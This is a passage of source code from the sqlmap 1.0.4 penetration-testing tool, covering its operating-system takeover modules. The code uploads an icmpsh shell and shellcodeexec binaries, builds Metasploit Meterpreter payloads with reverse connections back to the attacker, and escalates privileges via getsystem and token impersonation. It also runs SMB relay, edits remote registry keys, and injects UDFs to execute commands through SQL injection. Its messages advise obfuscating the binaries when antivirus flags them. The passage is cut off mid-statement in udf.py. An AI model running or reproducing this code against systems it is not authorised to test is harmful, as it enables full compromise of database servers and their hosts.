self.rhostStr = ICMPsh._selectRhost(self) def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) else: written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile icmpsh with slight " errMsg += "modification to the source code or pack it with an " errMsg += "obfuscator software" logger.error(errMsg) return False else: logger.info("icmpsh successfully uploaded") return True def icmpPwn(self): ICMPsh._prepareIngredients(self) self._runIcmpshSlaveRemote() self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) self.delRemoteFile(self._icmpslaveRemote) sqlmap-1.0.4/lib/takeover/metasploit.py000066400000000000000000000735121270044205500201410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re import sys import tempfile import time from subprocess import PIPE from extra.cloak.cloak import cloak from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.settings import UNICODE_ENCODING from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some if IS_WIN: import msvcrt else: from select import select class Metasploit: """ This class defines methods to call Metasploit for plugins. """ def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) if IS_WIN: _ = conf.msfPath while _: if os.path.exists(os.path.join(_, "scripts")): _ = os.path.join(_, "scripts", "setenv.bat") break else: old = _ _ = normalizePath(os.path.join(_, "..")) if _ == old: break self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = getUnicode(default, UNICODE_ENCODING) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self._skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self._skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def _selectSMBPort(self): return self._skeletonSelection("SMB port", self._msfSMBPortsList) def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, basestring): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList) def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr def _selectPort(self): for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise SqlmapDataException("unexpected connection type") def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type") def _selectConnection(self): return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) if kb.oldMsf: self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E" else: self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC thread" self._cliCmd += "; set LPORT %s" % self.portStr self._cliCmd += "; set SRVHOST %s" % self.lhostStr self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True) def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7 #send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems #send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n") def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search("Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except (EOFError, IOError): return proc.returncode def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metasploit._initVars(self) self._prepareIngredients(encode=encode) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": payloadSize = payloadSize / 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") self.shellcodeString = self._shellcodeFP.read() self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) sqlmap-1.0.4/lib/takeover/registry.py000066400000000000000000000075301270044205500176250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION class Registry: """ This class defines methods to read and write Windows registry keys """ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self._regKey = regKey self._regValue = regValue self._regType = regType self._regData = regData self._randStr = randomStr(lowercase=True) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( "@ECHO OFF\r\n", readParse, ) self._batAdd = ( "@ECHO OFF\r\n", "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), ) self._batDel = ( "@ECHO OFF\r\n", "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), ) def _createLocalBatchFile(self): self._batPathFp = open(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: self._batPathFp.write(line) self._batPathFp.close() def _createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self._batPathRemote) self._createLocalBatchFile() self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): self._operation = REGISTRY_OPERATION.READ Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' index = data.find(pattern) if index != -1: data = data[index + len(pattern):] self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() debugMsg = "adding registry key value '%s' " % self._regValue debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) sqlmap-1.0.4/lib/takeover/udf.py000066400000000000000000000341231270044205500165310ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.agent import agent from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.common import unArrayizeValue from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject class UDF: """ This class defines methods to deal with User-Defined Functions for plugins. """ def __init__(self): self.createdUdf = set() self.udfs = {} self.udfToCreate = set() def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " output = readInput(message, default="N") if output and output[0] in ("y", "Y"): return True else: return False def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): exists = self._checkExistUdf(udf) overwrite = True if exists: overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfForgeCmd(self, cmd): if not cmd.startswith("'"): cmd = "'%s" % cmd if not cmd.endswith("'"): cmd = "%s'" % cmd return cmd def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output def udfCheckNeeded(self): if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") if not conf.osPwn and not conf.regAdd and not conf.regDel: self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf=None, inpRet=None): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): written = False for udf in udfDict.keys(): if udf in self.createdUdf: continue self.udfCheckAndOverwrite(udf) if len(self.udfToCreate) > 0: self.udfSetRemotePath() checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading the shared library, " errMsg += "it looks like the binary file has not been written " errMsg += "on the database underlying file system" logger.error(errMsg) message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " choice = readInput(message, default="N") if choice and choice.lower() == "y": written = True else: return False else: return True for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) if Backend.isDbms(DBMS.MYSQL): supportTblType = "longtext" elif Backend.isDbms(DBMS.PGSQL): supportTblType = "text" self.udfCreateSupportTbl(supportTblType) return written def udfInjectSys(self): self.udfSetLocalPaths() self.udfCheckNeeded() return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the curent session user is not a database administrator" logger.warn(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not 